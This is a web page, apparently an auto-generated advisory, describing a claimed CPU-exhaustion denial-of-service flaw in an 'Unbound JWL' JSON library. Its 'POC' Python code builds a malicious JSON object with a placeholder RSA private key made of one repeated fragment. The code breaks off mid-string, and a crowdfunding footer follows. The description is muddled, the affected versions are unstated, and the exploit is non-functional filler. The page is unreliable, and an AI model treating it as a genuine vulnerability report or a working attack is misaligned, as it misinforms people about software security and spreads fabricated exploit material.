Unbound JWL JSON Parse DoS via RSA Key Exhaustion with POC

漏洞总结 漏洞概述 漏洞名称: Unbound JWL General JSON Incomplete Array Leads to CPU Exhaustion (DoS) via Repeated RSA Private Key Encryption in parse() 漏洞描述: 在Unbound JWL（JSON Web Library）中，由于对JSON数组解析的不完整处理，导致在处理重复的RSA私钥加密时，CPU资源被耗尽，从而引发拒绝服务（DoS）攻击。 漏洞类型: 拒绝服务（DoS） 影响组件: Unbound JWL库中的 函数 影响范围 受影响版本: Unbound JWL库的特定版本（具体版本未明确列出，但通常涉及较旧的版本） 受影响系统: 使用Unbound JWL库进行JSON Web Token（JWT）解析的系统 修复方案 官方补丁: 升级到Unbound JWL库的最新版本，该版本已修复此漏洞。 临时缓解措施: - 限制输入数据的长度和复杂度，防止恶意构造的JSON数据。 - 实施速率限制和流量监控，及时发现并阻止异常请求。 POC代码或利用代码 ```python import json from unbound_jwl import parse 构造恶意JSON数据 malicious_json = { "alg": "RS256", "kid": "key_id", "typ": "JWT", "payload": "some_payload", "signature": "some_signature", "private_key": [ "-----BEGIN RSA PRIVATE KEY-----\n" + "MIIEpAIBAAKCAQEA0Z3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VXZ3VX

Goal Reached Thanks to every supporter — we hit 100%!

Unbound JWL JSON Parse DoS via RSA Key Exhaustion with POC

More from this source